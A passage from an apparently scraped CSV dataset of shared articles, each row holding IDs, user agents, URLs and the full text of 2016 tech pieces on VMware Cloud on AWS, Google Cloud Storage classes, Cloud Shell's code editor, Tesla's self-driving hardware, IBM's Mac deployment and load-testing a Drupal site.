to share at the event. A rebranding means Jamf Software is now known as simply Jamf, while its Casper Suite is now called Jamf Pro with a new version arriving soon in the form of Jamf Pro 10. Its small-business facing product changes from Bushel to 'Jamf Now'. The company also offered some new stats for Jamf itself, noting that it provided software to schools through Apple's new ConnectED program that saw Apple provide devices to 114 schools in need. Of those 114 schools, 112 opted to use Jamf to manage their devices in the classroom.",en
1476932068,CONTENT SHARED,4164212115654350513,-3203894957285229214,-1408353072252762226,Android - Native Mobile App,ON,CA,HTML,http://frankdenneman.nl/2016/10/13/vmware-cloud-aws-closer-look/,VMware Cloud™ on AWS - A Closer Look - frankdenneman.nl,"After a long time of keeping this silent, I can finally share a little bit what I've been focussing on at VMware. (This is a repost of content on blogs.vmware.com) Today, VMware and Amazon Web Services (AWS) are announcing a strategic partnership providing the ability to run a full VMware Software Defined Data Center (SDDC) as a cloud service on AWS. This service will include all the enterprise tools you're familiar with including vSphere, ESXi, VSAN and NSX. This article provides a technical preview of the new service VMware Cloud on AWS (VMC), allowing me to give you a sneak peak of the incredibly cool stuff that is coming. This architecture is a match made in heaven if you ask me. It allows administrators and architects that are used to vSphere to leverage the agility of AWS without re-architecting applications and reconstructing operational procedures. One great advantage is that vCenter will be the main platform of operations, therefore all tools that you currently run against vCenter in your on-premises vSphere deployment will work with the in-cloud SDDC environment. All these tools and functionalities that have been developed over the years are now coming together and provide an environment that allows workload mobility between clouds while pushing data center agility to new levels. In short, once signed up, select a cluster size and a SDDC environment is created for you in a very short time. To emphasize (and to avoid any misconception), the VMware cloud will run on native ESX on next-generation, bare metal AWS Infrastructure. The VMware cloud will be deployed as a private cloud containing vSphere ESXi hosts, VSAN and NSX on AWS infrastructure. This will allow you to run enterprise workloads with the same performance, reliability and availability levels as your on-premises vSphere deployments but now on an AWS architecture. The main difference between the on-prem and in-cloud deployment is that VMware manages and operates the infrastructure of the VMware Cloud on AWS. It is important to note here that this is a fully managed service. That is to say, VMware will install, manage and maintain the underlying ESXi, VSAN, vCenter and NSX infrastructure. Routine operations like patching or hardware failure remediation will be taken care of by VMware as part of the service. Customers will have delegated permissions to things like vCenter and will be able to use vCenter to perform administrative tasks but there will be some actions like patching which VMware will provide to you as part of the service. This means that VMware takes care of the core infrastructure in partnership with AWS. VMware Cloud on AWS will be available as a stand-alone deployment, as a Hybrid cloud deployment or as a cloud-to-cloud deployment. With hybrid and cloud-to-cloud deployments, vCenter enhanced linked-mode provides a single pane of glass that assists IT operation teams to manage the SDDC deployments from a centralized console. NSX extends this single pane of glass by providing consistent network and security services between the various deployments. However, NSX is not a requirement! If you are not running NSX on premise right now, you will still be able to run VMware Cloud on AWS but you won't be able to utilize the hybrid cloud features of NSX until you do. With the ability to span networks and clouds, vMotion provides workload mobility, allowing the movement of workloads in and out the various cloud deployments. Yes, you read that correctly, you can vMotion from your existing on-premises vSphere environment to AWS! One of the interesting concepts is elastic scaling. Elastic scaling would help to solve one of the toughest challenges an IT architect can face: capacity planning. Major key points of capacity planning are current and future resource demand, failure recovery capacity and maintenance capacity. Finding the right balance between maintaining workload performance versus the downside of CAPEX and OPEX of reserved failover capacity is difficult. Think about how elastic scaling would transform vSphere clusters into agile powerhouses. Instead of going through the tedious procuring and installing process yourself, benefit from the IT-at-scale mindset and services delivered by AWS. Since ESXi 4.0, vSphere HA has enabled workloads to restart the surviving hosts in the cluster. However, when a host outage is not temporary, host resources can become constrained due to the reduction of the available hosts. Auto-remediation can builds upon DR solutions ensuring available host resources remain consistent during an ESXi host outage. When a host failure is detected, auto-remediation adds other hosts to the cluster, ensuring that the workload performance will not be impacted in the long run by a host failure. If partial (hardware) failure occurs, auto-remediation ensures that VSAN operations complete before ejecting the degraded host. Another benefit of this framework is the ability to retain similar levels of resources during maintenance. During maintenance operations, the cluster size is not reduced, workloads are not impacted by a loss of resources and continue to perform similarly as to normal operation hours. I believe one of the strengths of VMware Cloud on AWS service is that it allows administrators, operation teams and architects to use their existing skill set and tools to consume AWS infrastructure. You can move workloads to the cloud without having to replatform them in any way, no conversion of virtual machines, no repackaging and very important no extensive testing, you just migrate the VM. Another strength it the ability to pair current workloads with the advanced feature set of AWS. As a result, IT teams will be able to extend their skill set discovering the vast catalog of services AWS has to offer. This creates an environment that works seamlessly with both on-premises private clouds and advanced AWS Public Cloud Services. There are so many other great features that I want to cover, but let's save that for future articles. VMworld If you want to learn more about the upcoming service VMware Cloud on AWS, come join us at VMworld Europe, breakout session INF7849: VMware Cloud on AWS - a closer look . In this session Alex Jauch and I dive a little deeper into the details of this service. For a more generic view, please register for the breakout session INF7711 - VMware Cloud Foundation on Public Clouds . At VMworld Europe, I have a limited set of Meet the expert slots available to me, please register if you would like to have a more focused conversation about the service. If you are interested in applying for the beta, please click here:",en
1476963087,CONTENT SHARED,-8480712303720557641,-331066625167168067,-2302027198815055724,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,https://cloudplatform.googleblog.com/2016/10/introducing-Coldline-and-a-unified-platform-for-data-storage.html,Announcing new storage classes for Google Cloud Storage: simplifying the storage and management of hot and cold data,"Businesses seek the best price and performance to suit the storage needs of workloads ranging from multimedia serving, to data analytics and machine learning, to data backup/archiving, all of which drive demand for a variety of storage options. At Google, we aim to build a powerful cloud platform that can meet the needs of the most demanding customer workloads. Google Cloud Storage is a key part of that platform and offers developers and IT organizations durable and highly available object storage, with consistent APIs for ease of application integration, all at a low cost. Today, we're excited to announce a major refresh of Google Cloud Storage. We're introducing new storage classes, data lifecycle management tools, improved availability and lower prices - all to make it easy for our customers to store their data with the right type of storage. Whether a business needs to store and stream multimedia to their users, store data for machine learning and analytics or restore a critical archive without waiting for hours or days, Cloud Storage now offers a broad range of storage options to meet those needs. We're also excited to announce the continued expansion of our Google Cloud Platform (GCP) partner ecosystem, with partners already using the new Cloud Storage capabilities for use cases including content delivery, hybrid storage, archival, backup and disaster recovery. New storage classes for Google Cloud Storage We're announcing the general availability of four storage classes for Cloud Storage. These offer customers a consistent API and data access performance for all of their hot and cold data, with simple-to-understand and highly competitive pricing. Cloud Storage Coldline: a low-latency storage class for long-term archiving Coldline is a new Cloud Storage class designed for long-term archival and disaster recovery. Coldline is perfect for the archival needs of big data or multimedia content, allowing businesses to archive years of data. Coldline provides fast and instant (millisecond) access to data and changes the way that companies think about storing and accessing their cold data. At GCP, we believe that archival data should be as accessible as any other data. Coldline's API and low latency data access are consistent with other storage classes. This means existing systems can now store and access Coldline data without any updates to the application, and can serve that data directly to end users in milliseconds. Priced at just $0.007 per gigabyte per month plus a simple and predictable access fee of $0.05 per GB retrieved, Coldline is the most economical storage class for data that's accessed less than once per year. Coldline also works well with Nearline to provide tiered storage for data as it cools. Our recent work on Nearline latency and throughput ensures comparable performance across all storage classes. To help you migrate your data to Coldline, and other Cloud Storage classes, we offer an easy-to-use Google Cloud Storage Transfer Service and have extended our Switch and Save program to include Coldline. Depending on the amount of data you're bringing to Coldline, you can receive several months of free storage, for up to 100PB of data. To learn more about Switch and Save, please contact our sales team . Google Cloud Storage Multi-Regional and Regional GCP customers use Cloud Storage for a variety of demanding use cases. Some use cases require highly available storage close to the Google Compute Engine instances. Others need higher levels of availability and geo-redundancy. We're updating our storage classes to address those needs: Google Cloud Storage Multi-Regional is a highly available and geo-redundant storage class. It's the best storage class for business continuity, or for serving multimedia content to geographically distributed users. In the case of a regional outage, Cloud Storage transparently routes requests to another available region, ensuring that applications continue to function without disruption. Multi-Regional storage is priced at $0.026 per GB per month, including storage of all replicas, replication over the Google network and connection rerouting. It's currently available in three locations: US, EU and Asia. All existing Standard storage buckets in a multi-regional location have been converted to Multi-Regional storage class. Vimeo, a media hosting, sharing and streaming service, leverages Google Cloud Storage Multi-Regional to ensure high availability, and low-latency access to data. Cloud Storage Nearline is used to minimize overall storage costs. To deliver the best possible experience, Vimeo leverages integration between Google Cloud Storage and Fastly, a real-time CDN service. With Fastly, Vimeo can deliver content from Google Cloud Storage to users' instantly - performing at sub-150 millisecond response times. We use Google Cloud Platform, including Google Cloud Storage and Compute Engine along with Fastly, for storing and delivering all popular and infrequently accessed content and to handle our peak transcode loads. - Naren Venkataraman, Senior Director of Engineering, Vimeo Fastly customers need low-latency, high-throughput storage and fast, flexible, secure content delivery at the edge. The combined power of Google Cloud Storage and Fastly's Cloud Accelerator allows customers like Vimeo to fully optimize content storage and delivery, controlling costs and improving global performance . - Lee Chen, Head of Strategic Partnerships, Fastly Google Cloud Storage Regional is a highly available storage class redundant within a single region. It's ideal for pairing storage and compute resources within a region, to deliver low end-to-end latency and high throughput for workloads such as data transcoding or big data analytics workloads running on Google Compute Engine , Google Cloud DataProc , Google Cloud Machine Learning or BigQuery for example. Regional storage class is priced at $0.02 per GB per month. All existing Standard storage buckets in a regional location have been converted to the Regional storage class. This is equivalent to a 23% price reduction, and the pricing change for converted buckets takes effect November 1st. Effective November 1st we're also introducing new lower API operations pricing for both Multi-Regional and Regional storage classes. Class A operations will cost $0.005 per 1,000 operations (50% price reduction), and Class B will cost $0.004 per 10,000 operations (60% price reduction). With the addition of Coldline and the refresh of our storage classes with Multi-Regional and Regional, GCP customers will continue to enjoy the same API and consistent data access performance for all of their hot and cold data. With Coldline, no application changes are needed to leverage archived data and there's no compromise on access time for that data, while Multi-Regional makes it simple to ensure that your data is highly-available and geo-redundant. Plus, we're delivering all of this with simple to understand and highly competitive pricing: New data management lifecycle capabilities Many of our customers use multiple storage classes for their different workloads. Having a single API and consistent data access performance ensures applications can seamlessly leverage multiple storage classes. It should be easy for customers to also manage the appropriate storage tier for their data. We're introducing the beta of new data lifecycle management capabilities to make it easier to manage data placement. Any Google Cloud Storage bucket can now hold data in different storage classes, and the lifecycle policy feature can automatically transition objects in-place to the appropriate colder storage class based on the age of the objects. Expanding the Cloud Storage partner ecosystem Many customers already use multiple Cloud Storage classes and will benefit from these storage updates, both directly through us and through our partners, a number of whom have already integrated the new Coldline storage class. Starting today, these partners are available to help you use our new storage classes in your own environment: Fastly : Fastly is a content delivery network that lets businesses control how they serve content, provides real-time performance analytics and caches frequently changing content at the edge. Fastly enables customers to configure Google Cloud Storage as the origin, and Fastly's Origin Shield designates a single point-of-presence (POP) to handle cache-misses across our entire network. Veritas : Building on existing support for GCP, Veritas is committed to supporting Cloud Storage Coldline. The unique combination of Veritas Information Map, Veritas NetBackup and the GCP ensures customers can gain greater controls on data visibility as they move to the Google Cloud at global enterprise scale. Veritas' collaboration with Google further demonstrates the shared commitment to helping organizations around the world manage information. Cloudian : The Cloudian HyperStore smart data storage platform seamlessly integrates with Google Cloud Storage (including Coldline) to provide anywhere from terabytes to hundreds of petabytes of on-premises storage. Policy-based data migration lets you move data to Coldline based on rules such as data type, age and frequency of access. Cloudberry Lab : CloudBerry Backup is a cloud backup solution that leverages Coldline. In addition to offering real-time and/or scheduled regular backups, encryption, local disk image or bare metal restore, CloudBerry employs block level backup for maximum efficiency and provides alerting features to track each backup and restore plan remotely. Komprise : Komprise data management software enables businesses to seamlessly manage the lifecycle of data and cut costs by over 70% by leveraging all the tiers of Cloud Storage transparently with existing on-premises storage. In under 15 minutes, customers can get a free assessment of how much data can move to Cloud Storage and the projected ROI with a free Komprise trial. StorReduce : StorReduce's inline deduplication software enables you to move terabytes to petabytes of data into Coldline (or other Cloud Storage tiers) and then use cloud services such as search on that data. Cohesity : The Cohesity hyper-converged secondary storage system for enterprise data consolidates fragmented, inefficient islands of secondary storage into a virtually limitless storage platform. Coldline can be used for any data protection workload via. Cohesity's policy-based administration capabilities. Sureline : Sureline application mobility software delivers migration and recovery of virtual, cloud, physical or containerized applications and servers. It allows enterprises to use Coldline as the disaster recovery target for occasionally accessed DR images with SUREedge DR. With an expanding partner ecosystem, more customers than ever before are now able to take advantage of the benefits of GCP. To learn more about Cloud Storage and the new storage classes, visit our web page here , or do a deeper dive into our technical documentation . You can also sign up for a free trial , or contact our sales team .",en
1476967814,CONTENT SHARED,4780818054552370624,-1443636648652872475,2720928050898865034,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2016/10/introducing-Google-Cloud-Shels-new-code-editor.html,Introducing Google Cloud Shell's new code editor,"We've heard from a lot of Google Cloud Platform (GCP) users that they like to edit code and configuration files without leaving their browser. We're now making that easier by offering a new feature: an integrated code editor. The new code editor is based on Eclipse Orion , and is part of Google Cloud Shell , a command line interface to manage GCP resources. You can access Cloud Shell via the browser from any computer with an internet connection, and it comes with the Cloud SDK and other essential tools pre-installed. The VM backing Cloud Shell is temporary, but each user gets 5GB of persistent storage for files and projects. To open the new Cloud Shell code editor: Go to the Google Cloud Console Click on the Cloud Shell icon on the top right section of the toolbar Open the code editor from the Cloud Shell toolbar. You'll also notice that we've introduced the ability to upload and download files from your Cloud Shell home directory. Start editing your code and configuration files. Cloud Shell code editor in action Here's an example of how you can use the Cloud Shell code editor to create a sample app, push your changes to Google Cloud Source Repository , deploy the app to Google App Engine Standard, and use Stackdriver Debugger : Create a sample app On the Cloud Console website, select an existing project or create a new one from the toolbar. Open Cloud Shell and the code editor as described above and create a new folder (File->New->Folder). Name it 'helloworldapp'. Inside the helloworldapp folder, create a new file and name it 'app.yaml'. Paste the following: Create another file in the same directory, name it 'main.py', and paste the following: Save your source code in Cloud Source Repositories Switch to the tab with the open shell pane and go to your app's directory: cd helloworldapp Initialize git and your repo. The first two steps aren't necessary if you've done them before: git config --global user.email "" you@example.com "" git config --global user.name ""Your Name"" git init git add . -A git commit -m ""Initial commit"" Authorize Git to access GCP: git config credential.helper gcloud.sh Add the repository as a remote named 'google' to your local Git repository, first replacing [PROJECT_ID] with the name of your Cloud project: git remote add google [PROJECT_ID]/r/default git push google master Deploy to App Engine From the ~/helloworldapp directory, type: gcloud app deploy app.yaml Type 'Y' to confirm Visit your newly deployed app at [PROJECT_ID].appspot.com Use Stackdriver Debugger You can now go to the Debug page , take a snapshot and debug incoming traffic without actually stopping the app. Open main.py and click on a line number to set the debug snapshot location Refresh the website displaying the hello world page, and you'll see the request snapshot taken in the debugger Note that the Debug page displays the source code version of your deployed app Now you know how to use Cloud Shell and the code editor to write a sample app, push it into a cloud source repository, deploy it to App Engine Standard, and debug it with Stackdriver Debugger - all without leaving your browser. Note that the new Cloud Shell code editor is just a first step toward making Cloud Shell developers' go-to environment for everything from simple DevOps tasks to end-to-end software development. We welcome your feedback (click on the gear icon in Shell toolbar->Send Feedback) on how to improve Google Cloud Shell. Stay tuned for new features and functionality.",en
1476968401,CONTENT SHARED,-6511604233888915532,-8845298781299428018,9052566667489309223,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/19/apple-sends-out-invites-for-an-october-27th-event-hints-that-new-macs-are-coming/,"Apple sends out invites for an October 27th event, hints that new Macs are coming","Aaand there it is. We'd been hearing that Apple was planning to make an announcement on October 27th. Specifically, we'd heard that they're finally, finally going to show some new Macs. Sure enough: Apple just started sending out press invites to an event... and it's going down on the 27th. Outside of the timing and location of the event, Apple's invite is detail-light - at first glance, at least. Notice, though, the ""hello again"" bit - then rewatch this Macintosh ad from 1984: If you're in a rush, skip to 0:18. The word ""hello"" was a big part of the original Macintosh's debut - generally portrayed all lowercase, as with this new invite. Between that and the whispers we've been hearing as of late, yeah: expect new Macs on October 27th.",en
1476970833,CONTENT SHARED,4859179221363512189,-8845298781299428018,9052566667489309223,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/19/all-tesla-cars-built-from-now-on-have-everything-onboard-for-full-self-driving/,All Tesla cars built from now on have everything onboard for full self-driving,"Elon Musk revealed the Model 3 in March, revealing details of the $35,000 base model including a sub-six second 0-60 time and a minimum 215 mile range. The basic picture of the Model 3 inspired a pre-order frenzy unlike anything seen previously in the car world, but now Musk has dropped what he referred to earlier as Part 2 of the Model 3 unveiling after a lengthy pause, as promised, and it's a doozy. Musk announced that all Tesla cars being produced as of today, including the Model 3, will have everything they need onboard to achieve full Level 5 self-driving in the future . The news means that every Tesla vehicle, including the Model S and X as well as Model 3 cars made after today will eventually be able to achieve full autonomous driving, with what Tesla refers to as ""a safety level substantially greater than that of a human driver"" via nothing more than a software update at some point in the future. The hardware required to make this possible includes a sensor loadout compete with eight surround optical cameras, which can see up to 250 meters out from the vehicle on all sides, and a dozen ultrasonic sensors to assist the optical system. These are capable of twice the range of previous hardware, and can detect both ""hard and soft objects"" according to the company. Also included is the radar hardware that provides forward-facing detection of hazards even through potentially obfuscating conditions. The biggest change might be the new onboard computer that provides over 40 times the processing power of the existing Tesla hardware, which actually runs the in-house neural net the car maker has developed in order to handle processing of data inbound from the vision, sonar and radar systems. Musk said on call discussing the most recent update to the existing driver assistance Autopilot software that it basically stretched computing power to the limit, which is why the upgraded CPU is required for full Level 5 autonomy. The new GPU is the Nvidia Titan, Musk said on the call, though it was a ""tight call"" between Nvidia and AMD. The validation required for full autonomy will still take some more time, but Musk said on a call that it's actually already looking like it'll be at least two times as safe as human driving based on existing testing. Musk said in a conference call in August regarding Tesla's advancements in creating a car with Level 4 autonomous capability that ""what we've got will blow people's minds, it blows my mind,"" and added that ""it'll come sooner than people think.""",en
1476974155,CONTENT SHARED,-1609424513692297222,-709287718034731589,-6246311186253831167,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,https://9to5mac.com/2016/10/20/opinion-ibm-enterprise-apple-adoption/,Comment: IBM's Apple deployment stats should be a lesson to enterprise companies everywhere,"IBM reported some pretty impressive stats this week. Not least among them the fact that 73% of IBM employees - the company whose personal computer division was once almost synonymous with Microsoft - want a Mac as their next PC. The company is currently equipping its employees with Macs at the rate of 1300 people per week. Indeed, IBM Japan has gone as far as making Macs standard-issue: any employee wanting a Windows machine instead has to make a special request justifying their need. The company said that it had to overcome a number of assumptions - or prejudices - in order to make the transition ... It said that the default attitude to Macs within the company used to be that they were more expensive, more challenging/expensive to support and required retraining. The reality, it discovered, was rather different. We already learned last year that support costs turned out to be dramatically lower for Mac users, and the company revealed that it also saved money in other ways. Hard drive encryption, for example, used to be something the company had to implement on top of a standard Windows installation; with macOS, FileVault is a standard installation option. It also saved money on anti-virus protection, XProtect built-in to Macs while Windows machines require third-party software. Beyond this, however, it reported improved employee productivity - and even found that user satisfaction with Macs was helping staff retention rates. The company went into more detail on support costs, to illustrate just what a difference there is between Windows and Mac. While 27% of Windows tickets end up requiring IT staff to physically fix something at the user's desk, that was true for only 5% of Mac tickets. PC users drive twice the number of support calls as Mac users. All of which meant that the company was able to support 217,000 Mac and iOS devices with just 50 help agents worldwide. There was also a significant difference in the costs of keeping devices up to date. Comparing the number of updates and patches required, the company said that a Windows 7 PC needed 86 security patches and 49 others. For Mac, the numbers were 11 and 20 respectively - a total of 104 fewer. IBM showed the total costs of ownership for both Mac and PC over a four-year period, with big savings in three separate areas. It's a similar tale in mobile, where two-thirds of employees are now rocking iOS devices compared to just a third for Android. Blackberry accounts for a mere 0.4%, while Windows Mobile is nowhere to be seen. One of the benefits, says IBM, is greatly improved security. Only 1% of Android devices were running the latest version; for iOS devices, the percentage was 65% despite the latest release being a month later than for Android. Any enterprise CIO/CTO ought to be sitting up and taking notice of these sorts of numbers. And if they do, Apple's prospects for future corporate sales could be very encouraging indeed.",en
1476980268,CONTENT SHARED,-7388035385087807288,3891637997717104548,-6330842961578009837,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://drupalize.me/blog/201610/load-testing-our-site-pantheon,Load Testing Our Site on Pantheon (Drupalize.me),"Back in August we announced that we were moving our site to Pantheon hosting . Last month we completed the migration and Blake wrote a post about the process . This month I'm going to take a look at some performance comparisons between our previous infrastructure and our shiny new home. Background Prior to moving our site to Pantheon it was hosted on Linode, using a couple of different VPS servers that we managed ourselves with a bit of help from Lullabot. Our old Linode infrastructure consisted of a single web server running Varnish, Solr, Memcache, and Apache, along with a few other servers for testing and DevOps. It was always plenty fast. The choice to move to Pantheon wasn't because we hoped for a performance improvement, but still, we thought it would be a fun exercise to see how the change affected the performance of our site. My hypothesis They say that if you're going to measure something you should know what questions you want to answer before you start. Because if you go in saying, ""to see what happens"", that's what you'll do. See what happens. So I wanted to answer this question: How did moving our site from Linode to Pantheon affect the performance-measured in response time-of our site for both members and non-members? Going into this, I expect that Pantheon will perform better than our previous setup, though I don't really have a sense of how much better. Hosting Drupal sites is, after all, what they do. I don't think our site was slow on Linode, but I also know that there are a lot of infrastructure and performance tweaks we never got around to making because they were never a top priority. What should I test? I want to see what response time looks like for various important pages on our site, as well as a few pages that are good samples of common page variants. So I came up with the following list of pages: / : Our home page: most people's first impression of Drupalize.Me, and the content dashboard for authenticated users. /tutorials : The main listing of tutorials on our site; the 2nd most popular page on our site. /pricing : This page is important when it comes to converting users to paid members, so we want to set a good impression. /user : Returning users go here to sign in, a common task. This is also the account dashboard for authenticated users. /tutorial/core-migration-modules?p=2578 : Example of a written tutorial with an embedded video. /videos/build-your-first-page-symfony-3?p=2603 : Example of a stand alone video tutorial. /series/drupal-8-theming-guide : Example of a series, or guide, landing page. /blog/201607/why-learning-drupal-hard : Example of a blog post with a few comments. /search?query=pantheon : Example of a search query. In the future we might want to test things like navigational scenarios. For example: an anonymous user navigating to a blog post, leaving a comment, and then navigating to the contact page. For now though, we're after some basic response time comparisons. So this feels like a good list. Set up Before running the tests I did a bit of configuration on our site to facilitate testing. First, I created a dummy user on both environments and configured it as if it was a normal monthly personal membership. This way I have an account I can use for testing the authenticated user experience. I also made sure I could answer these two questions in advance: Are your tests going to be performed against the live site? If so, do you have a way to quickly abort them? Do your tests create dummy content? How are you going to make sure that content gets cleaned up afterwards? Establish a baseline I started by gathering some basic information using cURL . We'll use curl to request HTTP headers from the environments, and time to see how long our curl command takes. This will give us some information about the current environment, and a rough idea of what we can expect for a single page request. Linode Pantheon The ""real"" value from the time command is probably the most interesting thing in this output. It gives you a rough idea of how long it takes for the site to respond to a single request. Which basically amounts to: how long does it take Drupal (and all the layers in front of it) to service my request? Shorter is better. In both of these examples you can see the X-Varnish: 51631136 64695802 header, which indicates to me that these anonymous requests are actually being serviced by Varnish, and aren't even making it to Drupal. It's also why they're so fast. In this instance we're really testing the speed at which Varnish can return a page. Cache busting What about if we force our requests to bypass the Varnish cache by adding a NO_CACHE cookie? Linode Pantheon Notice that the X-Varnish: 77632744 header only contains a single ID this time instead of the 2 numbers it showed before. This indicates that Varnish was not able to service the request, and thus passed it along to Drupal. We are still getting cached results from Drupal though: the X-Drupal-Cache: HIT indicates that the content was served from Drupal 7's anonymous page cache. Authenticated users So far all the data we've looked at is for anonymous users. That is, people who are browsing our site but are not signed in to their account. As a business that sells membership subscriptions, our goal is to convert anonymous users to subscribers, and subscribers always navigate our site while signed in. So we want to make sure that the experience is a good one for them as well. Before doing any testing I fully anticipated that the experience would be slower for authenticated users. When you're signed in to our site we customize the experience in a lot of different and unique-per-user ways that make doing things such as caching the HTML of an entire page difficult. The page is unique for each person. So we already know that building the page for an authenticated user is going to be more expensive. In order to generate authenticated requests using curl we can use the session cookie from a session in our browser. Here's how to find that. Sign in to your site in your favorite browser. Then find the cookie that starts with either SESS , or SSESS followed by a random string. Copy the cookie name, and value, and then use them as arguments to curl using the --cookie flag like so: curl --cookie ""{cookie.name}={cookie.value}"" Linode Pantheon This shows that for a single request Pantheon significantly outperforms our Linode setup, but that Linode handles authenticated requests slightly better. Calculating concurrent users The above tests really only measure the performance of a page without accounting for load. We've just learned how fast a page from our site can theoretically be served, but this doesn't really tell us much about the underlying infrastructures ability to handle multiple concurrent users. Individual page time is the thing we can affect the most as developers, but the underlying infrastructure impacts concurrency. When load testing we're not necessarily testing how fast Drupal or any of our custom code is. We are actually testing how well the given infrastructure can handle Drupal and our custom code while serving multiple users at the same time. In order to gather some more data I performed a load test, simulating normal load on our site. So, what is normal load? One way to approach this is to determine the average number of concurrent users you expect to be using your site and then run your test with that many users. I did this by looking at our Google Analytics stats for the last month and doing some quick math in order to calculate the average number of people actively using our site at any given time. Total session for last 30 days: 48,585 Average length of each session: 6 minutes 32 seconds (392 seconds) Another, and perhaps more common, use for load testing is to try and get a sense of whether or not your application is going to hold up when you get a traffic spike on awards night. A site like Grammy.com for instance sees relatively little traffic 364 days out of the year, but on awards night, that traffic spikes to extremely high levels. In order to ensure that the site remains available during that traffic spike you might try and calculate the number of users you think will use the site in the given period and run that simulation instead. The end result is still X concurrent users. For good measure, when load testing I would usually add 10% to this number. Use Siege I'm not going to cover this here, but another technique for getting an idea of how well a page performs is Siege. The difference is tools like Siege make multiple concurrent requests and average the results so you get a more accurate picture. Our example above could be suspect to network latency, and other variations, that skew the results. So an average might a bit more accurate. Read more about using Siege to test the performance of your site in this blog post from earlier this year . Using JMeter Instead, for this test I'm going to use Apache JMeter to configure a test suite, and then run those tests via BlazeMeter. Apache JMeter is a Java application that can be used to load test web applications. It is highly configurable, and can be used to simulate virtually any scenario you can imagine. In addition it can be used to simulate any number of concurrent users. It comes with a complete set of plugins for graphing and analyzing test results. At a certain point you're going to want to simulate more users than your laptop has the resources for. JMeter has the ability to perform distributed testing by setting up a master instance that delegates to any number of slave machines to do the heavy lifting. Thus, you can scale your tests to any size. BlazeMeter is a service that understands how to read a JMX test file, and do this autoscaling for us. Bonus! So here's what I did. I started by installing the BlazeMeter Chrome plugin , which effectively allows you to record your active browser session, turn it into a JMX file, and upload it to BlazeMeter. This was a great way to perform some quick/simple tests. I then downloaded those tests and opened them in JMeter so I could further tweak the scenarios and learn a bit more about how JMeter works. This ended up being great because I could run/debug my scenarios locally, and even do some initial testing for lower levels of concurrent users. I actually had a lot of fun playing around with JMeter once I got the hang of it. Remember that list of URLs above that I wanted to test? I configured JMeter to read in a list of URLs from a CSV file, and then set up scenarios to test the set of URLs both as an anonymous user, and as an authenticated user. Finally, I generated lots of graphs because I love graphs. I then ran those scenarios from my localhost a couple of times, both on the Linode instance of the site, and on the Pantheon instance. In both cases, I had 7 concurrent users, and just for a few minutes, mostly as a litmus test. This still produced some useful information. JMeter allowed me to export a summary of response times from the tested URLs to CSV files, which I then imported into Numbers to make even more graphs. This simple comparison allowed me to get a sense of how both Linode and Pantheon perform for each URL and for both anonymous and authenticated users. This data represents the response time that you could expect as a user when our site is under normal load. Overall, this shows positive gains for almost every scenario on Pantheon. In most cases the gains are in the range of 30 to 50ms. In some cases, like /user for authenticated users (viewing your account dashboard), the gains are actually quite substantial: Linode 731ms vs. Pantheon 343ms. Check out the JMX files for the above tests (which are also used below). Perhaps they will be useful as a starting point for your own load test suite. BlazeMeter Of course, those numbers are reflective of what you can expect if you're the only person using the server at a given time. What about the more likely scenario where you're sharing resources with a number of other users? Remember how we calculated concurrent users earlier? To test this, I uploaded the JMX files from my JMeter tests above to BlazeMeter. I then used their free plan, and maxed out all available resources. 50 concurrent users for 20 minutes with a ramp up time of 900 seconds. So start with 1 user, and gradually increase to 50 over the course of 15 minutes and then continue to stress test with 50 concurrent users for an additional 5 minutes. I ran this test once for Linode, and once for Pantheon. Because my JMeter tests contain 2 thread groups (one for authenticated users, one for anonymous users) and BlazeMeter runs each group separately the resulting graphs show two distinct scenarios. The first 20 minutes is anonymous traffic, and the second 20 minutes is authenticated. Here's a comparison of average response times from all scenarios for the two. Linode in blue. Pantheon in yellow. The following graphs show response time relative to number of concurrent users. In both cases you can see that adding more anonymous users has very little impact on overall response time. This is to be expected, as this should essentially all be cached by Varnish. On both environments I would anticipate that you could continue to increase the number of users (blue line) with little to no real effect on the response time (purple line). Where it gets interesting is the second part of each graph where it shows how adding more authenticated traffic impacts the response time. My analysis of these graphs shows that for just a couple of authenticated users Linode performed marginally better than Pantheon. However, as the load increased, response times decreased more rapidly for Linode than Pantheon. Linode Pantheon Summary and conclusions I don't have a whole lot of experience doing load testing so this was a fun experience for me. I got to learn some new tools, and look at a lot of pretty graphs. I tested response time, using various methods, for both anonymous and authenticated traffic on the Drupalize.Me site in order to get a sense of how the move to Pantheon for hosting impacted performance. Verdict? It was a good choice. Pantheon performs better in almost every case. Although the difference is generally expressed in changes like 50 milliseconds, the perceived length of a millisecond is pretty significant to users of our site. As I said at the start, this is basically the outcome I expected. Though I was prepared for the differences to be bit bigger, any win is a big win when it comes to performance. In addition, these are wins that we gained by allowing someone else to manage our hosting infrastructure for us, which is an important win itself. As we've pointed out in previous posts in this series, this change allows us to focus more on producing the best Drupal training material. Pantheon can help us make sure you get it super fast. Next steps In addition to the already faster response times, I'm super excited about some of the tools that Pantheon provides us that will help us make this even better in the future. For example, we now have access to application profiling data from New Relic. I've barely started digging in yet, but I've already noticed a couple of SQL queries we could either cache or eliminate to shave off quite a lot of time on the front page and pricing page when loading from a stale cache. Pantheon also supports PHP7. Combine that with their MultiDev tools and we can pretty easily test our site on PHP7, see if everything works, then easily apply those same changes to our live environment. I anticipate that will bring yet further speed increases. Resources Want to do some load testing yourself? Here's some resources I found useful when figuring this all out:",en
